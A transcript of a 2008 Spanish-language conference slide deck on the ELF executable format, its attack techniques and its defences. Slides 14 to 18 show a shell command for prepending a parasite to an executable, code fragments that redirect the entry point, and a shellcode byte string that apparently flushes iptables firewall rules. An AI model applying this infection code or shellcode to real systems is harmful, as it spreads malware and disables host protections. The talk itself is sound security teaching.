elf en la mira: hacking y defensa

45
ELF EN LA MIRA: HACKING Y DEFENSA A.Alejandro Hernández Hernández [email protected] http://www.genexx.org/nitrous/ UPAEP @ Puebla, Puebla. 24/Oct/2008

Upload: alejandro-hernandez

Post on 24-May-2015

606 views

Category:

Documents


2 download

DESCRIPTION

ENLI @ UPAEP \’08, Puebla, Mexico.

TRANSCRIPT

Page 1: ELF en la mira: Hacking y Defensa

ELF EN LA MIRA: HACKING Y DEFENSAA.Alejandro Hernández Herná[email protected]://www.genexx.org/nitrous/

UPAEP @ Puebla, Puebla. 24/Oct/2008

Page 2: ELF en la mira: Hacking y Defensa

TABLA DE CONTENIDOS

• ¿QUE ES ELF?• Interfaces o vistas• Estructura

• BLACKHAT• Malware hace algunos años…• Técnicas de Infección• Esteganografía

• WHITEHAT• Encripción Binaria• Firma Digital

• GRAYHAT• Anti-análisis/Anti-forense• Análisis de Vulnerabilidades (vuln-dev)

• CONCLUSIÓN • PREGUNTAS/COMENTARIOS• REFERENCIAS

Page 3: ELF en la mira: Hacking y Defensa

¿QUE ES ELF?

ELF por sus siglas en inglés de Executable and Linking Format es un formato de archivo mayormente utilizado en sistemas tipo UNIX como Linux, BSD, Solaris, Irix.

Existen otros formatos soportados en algunos de estos sistemas como COFF o a.out, pero ELF es sin duda el más usado.

Page 4: ELF en la mira: Hacking y Defensa

¿QUE ES ELF? (Cont.)

• Tipos de archivo Ejecutables Librerías compartidas Relocalizables Volcados de Memoria (coredumps)

• Interfaces o Vistas Ejecución (Segmentos) Enlace (Secciones)

Page 5: ELF en la mira: Hacking y Defensa

INTERFACES O VISTAS

Page 6: ELF en la mira: Hacking y Defensa

ESTRUCTURA DE ELFElf32_Ehdr

Page 7: ELF en la mira: Hacking y Defensa

ESTRUCTURA DE ELFElf32_Shdr

Page 8: ELF en la mira: Hacking y Defensa

ESTRUCTURA DE ELFElf32_Phdr

Page 9: ELF en la mira: Hacking y Defensa

BLACKHAT

Page 10: ELF en la mira: Hacking y Defensa

HACE ALGUNOS AÑOS…

• “…Usa Linux, en Linux no existen los virus…”

• La plataforma mas atacada era Windows

• En Linux no eran más que PoCs lejos de ser amenazas reales

• Técnicas de infección y protección simples

Page 11: ELF en la mira: Hacking y Defensa

“Virus writers and other cyber criminals have lost interest in Linux, since it is neither “underground” nor mainstream, which means there isn't much money-making potential”

Fuente: Kaspersky Security Bulletin 2006: Malware for Unix-type systems

MALWARE FOR UNIX-TYPE SYSTEMS

Number of malicious programs for Unix platforms

Page 12: ELF en la mira: Hacking y Defensa

Breakdown of malware according to platform

MALWARE FOR UNIX-TYPE SYSTEMS(Cont.)

Fuente: Kaspersky Security Bulletin 2006: Malware for Unix-type systems

Page 13: ELF en la mira: Hacking y Defensa

Breakdown of malware according to platform

MALWARE FOR UNIX-TYPE SYSTEMS(Cont.)

Fuente: Kaspersky Security Bulletin 2006: Malware for Unix-type systems

Page 14: ELF en la mira: Hacking y Defensa

TÉCNICAS DE INFECCIÓN

• Sobrescritura, “pre/post pending”$cat ejecutable >> parasito$mv parasito ejecutable; ./ejecutable

• Relleno de páginas (padding) Infección de .text Infección de .data Infección de .fini

• Hooking PLT/GOT

• En tiempo de ejecución [ptrace()]

• Ejecutables estáticos

• Etc.

Page 15: ELF en la mira: Hacking y Defensa

CASO: INFECCIÓN DEL SEGMENTO DE DATOS

.text

.data

.bss

0x080482d0

*(int *)&parasite[par_entry_off] = header->e_entry;

"\xbd\xed\xac\xef\x0d" // mov $0xdefaced,%ebp"\xff\xe5" // jmp *%ebp

"\xbd\xd0\x82\x04\x08""\xff\xe5"

Entrypoint

Page 16: ELF en la mira: Hacking y Defensa

header->e_entry = program->p_vaddr + program->p_memsz;

CASO: INFECCIÓN DEL SEGMENTO DE DATOS (Cont.)

.text

.data

.bss

0x080482d0

Entrypoint

Page 17: ELF en la mira: Hacking y Defensa

.text

.data

.bss

0x080482d0

CASO: INFECCIÓN DEL SEGMENTO DE DATOS (Cont.)

“\x6a\x0b\x58\x99\x52”“\x66\x68\x2d\x46\x89”“\xe1\x52\x66\x68\x65”“\x73\x68\x74\x61\x62”“\x6c\x68\x6e\x2f\x69”“\x70\x68\x2f\x73\x62”“\x69\x89\xe3\x52\x51”“\x53\x89\xe1\xcd\x80”

Page 18: ELF en la mira: Hacking y Defensa

CASO: INFECCIÓN DEL SEGMENTO DE DATOS (Cont.)

.text

.data

.bss

nitr0us@hacklab $ ./run_forest_run

Parásito

Page 19: ELF en la mira: Hacking y Defensa

DEMO

ELF_data_infector.c (nitr0us)

4554invader.c (Electronic Souls)

ES-Malaria (Electronic Souls)

Page 20: ELF en la mira: Hacking y Defensa

ESTEGANOGRAFÍA

• En código ejecutable • Instrucciones funcionalmente equivalentes

add %eax, $50 == sub %eax, $-50

Tazas de Codificación

Fuente: Hydan: Hiding Information in Program Binaries

Page 21: ELF en la mira: Hacking y Defensa

DEMO

Hydan (Rakan El-Khalil)

Page 22: ELF en la mira: Hacking y Defensa

WHITEHAT

Page 23: ELF en la mira: Hacking y Defensa

SEGURIDAD EN ELF

• Encripción Binaria Código/Datos Burneye (scut [TESO])

• PKI (Public Key Infrastructure)• Firma Digital (elfsign)

Page 24: ELF en la mira: Hacking y Defensa

DEMO

cryptelf.c (SLACKo)

ELFCrypt.c (JunkCode)

elfsign (skape)

Page 25: ELF en la mira: Hacking y Defensa

GRAYHAT

FRANK SINATRA

Page 26: ELF en la mira: Hacking y Defensa

• Técnicas anti-análisis Estático Dinámico

ptrace()

• Técnicas anti-forense• SELF (Pluf & Ripe)

• Ofuscación Código Datos

(IN) SEGURIDAD EN ELF

Page 27: ELF en la mira: Hacking y Defensa

ANÁLISIS DE VULNERABILIDADES

• Violar la especificación de ELF

• Análisis de campos numéricos Integer overflows

• Strings sin terminación (‘\x00’)

• Reserva de memoria Buffers más chicos/grandes de lo esperado

• Referencias inválidas de memoria

• Comportamientos indefinidos

Page 28: ELF en la mira: Hacking y Defensa

ELF HEADER (Elf32_Ehdr)

Page 29: ELF en la mira: Hacking y Defensa

¿Y QUE SI…?

Page 30: ELF en la mira: Hacking y Defensa

ELF PROGRAM HEADER (Elf32_Ehdr)

Page 31: ELF en la mira: Hacking y Defensa

¿Y QUE SI…?

Page 32: ELF en la mira: Hacking y Defensa

INTERPRETE

Page 33: ELF en la mira: Hacking y Defensa

¿Y QUE SI…?

Page 34: ELF en la mira: Hacking y Defensa

Elf32_Shdr *sections = (Elf32_Shdr *) (elfptr + hdr.e_shoff);

shstrtab_section = *(Elf32_Shdr *) (elfptr + hdr.e_shoff + hdr.e_shstrndx * sizeof(Elf32_Shdr));shstrtab_offset = shstrtab_section.sh_offset;

printf(“[Nr] Section name\n”);for(k = 0; k < hdr.e_shnum; k++, sections++){

printf("[%2d] %s\n", k, \ elfptr + shstrtab_offset + sections-

>sh_name);…

}

if(phdrs->p_type == PT_INTERP) printf("[Interpreter: %s]\n", elfptr + phdrs->p_offset);

ENTONCES, QUE PASARÍA CON…

Page 35: ELF en la mira: Hacking y Defensa
Page 36: ELF en la mira: Hacking y Defensa

KERNEL (Linux 2.6)

/usr/src/linux/fs/binfmt_elf.cload_elf_interp()

int size;...if (interp_elf_ex->e_phentsize != sizeof(struct elf_phdr))

goto out;

if (interp_elf_ex->e_phnum < 1 ||interp_elf_ex->e_phnum > 65536U / sizeof(struct elf_phdr)) goto out;

/* Now read in all of the header information */size = sizeof(struct elf_phdr) * interp_elf_ex->e_phnum;if (size > ELF_MIN_ALIGN) /* size > 4096 */

goto out;elf_phdata = (struct elf_phdr *) kmalloc(size, GFP_KERNEL);

Page 37: ELF en la mira: Hacking y Defensa

KERNEL (Cont.)

/usr/src/linux/fs/binfmt_elf.cload_elf_binary()

unsigned int size;…size = loc->elf_ex.e_phnum * sizeof(struct elf_phdr);elf_phdata = (struct elf_phdr *)

kmalloc(size,GFP_KERNEL);…elf_interpreter = (char *)

kmalloc(elf_ppnt->p_filesz, GFP_KERNEL);

Page 38: ELF en la mira: Hacking y Defensa

KERNEL (Cont.)

/usr/src/linux/fs/binfmt_elf.cload_elf_library()

int j;

/* Now read in all of the header information */

j = sizeof(struct elf_phdr) * elf_ex.e_phnum;/* j < ELF_MIN_ALIGN because elf_ex.e_phnum <= 2 */

elf_phdata = kmalloc(j, GFP_KERNEL);

Page 39: ELF en la mira: Hacking y Defensa

DEMO

ELFsh_crash.esh (nitr0us)

ht_shstrndx_poc.c (nitr0us)

Gizmo (izik)

Page 40: ELF en la mira: Hacking y Defensa

CONCLUSIÓN

ELF es un formato de archivos algo complejo, dentro del cual se encuentran estructuras de datos, ya sea para crear un ejecutable o para cargarlo en memoria y ejecutarlo.

Dentro de estas estructuras de datos es posible encontrar diferentes valores que podrían ser modificados para violar la especificación.

Page 41: ELF en la mira: Hacking y Defensa

¿PREGUNTAS? ¿COMENTARIOS?

Page 42: ELF en la mira: Hacking y Defensa

REFERENCIAS

[1] Anonymous, (2002). Runtime Process Infection. Phrack Magazine, 11(59).Extraido el 02 de Junio de 2007 desdehttp://www.phrack.org/issues.html?issue=59&id=8

[2] Barros, C. (2006). Complete guide to process infection. The Bug Magazine, 1(1). Extraido el 20 de Enero de 2007 desdehttp://www.thebugmagazine.org/magazine/bug01/0x06_complete-guide-to-process-infection.txt

[3] Bauche, D. (2005). Ingeniería Inversa en Linux. Guadalajara, Jalisco, México.Extraido el 11 de Noviembre de 2006 desde http://www.genexx.org/pubs/iil/IIL.pdf

[4] El-Khalil, R. & Keromytis, A. Hydan: Hiding Information in Program Binaries.Department of Computer Science, Columbia University. New York.

[5] Garaizar, P. (s.f.). Virus en Linux – Un nuevo campo de batalla.

Page 43: ELF en la mira: Hacking y Defensa

REFERENCIAS (Cont.)

[6] Griffiths, A. (s.f.). Binary protection schemes (Ed. Rev. 1.0-prerelease- 0.7).Extraido el 13 de Febrero de 2007 desde http://felinemenace.org/papers/Binary_protection_schemes-1.00-prerelease.tar.gz

[7] Grugq, Scut (2001). Armouring the ELF: Binary encryption on the UNIX platform. Phrack Magazine, 11(58). Extraido el 02 de Junio de 2007 desde http://www.phrack.org/issues.html?issue=58&id=5

[8] Grugq. (s.f.). Cheating the ELF. Extraido el 04 de Marzo de 2006 desde http://m4dch4t.effraie.org/coding/Cheating_elf.pdf

[9] Haungs, M. (1998). Extending Sim286 to the Intel386 Architecture with 32-bit processing and Elf Binary input (p. 10-17). Extraido el 12 de Mayo de2006 desde http://www.cs.ucdavis.edu/~haungs/paper/paper.html

[10] Hodson, D.(2004). ELF: A fairytale for viruses. Trabajo presentado en RuxCon2004 conference, Julio 10-11, Sydney, Australia.

Page 44: ELF en la mira: Hacking y Defensa

[11] Johnson, R. (2004). Hooking the Linux ELF Loader. Trabajo presentado enToorcon 2004 conference, Septiembre 24-26, San Diego, California, USA.

[12] Lu, H. (1995). ELF: From The Programmer's Perspective. NY 10604, USA.

[13] Starzetz, P. (2004). Linux kernel binfmt_elf loader vulnerabilities.

[14] TIS Committee. (1995). Executable and Linking Format (ELF) Specification v. 1.2. Extraido el 22 de Enero de 2005 desdehttp://www.x86.org/ftp/manuals/tools/elf.pdf

REFERENCIAS (Cont.)

Page 45: ELF en la mira: Hacking y Defensa

A. Alejandro Hernández Herná[email protected]://www.genexx.org/nitrous/

Gracias !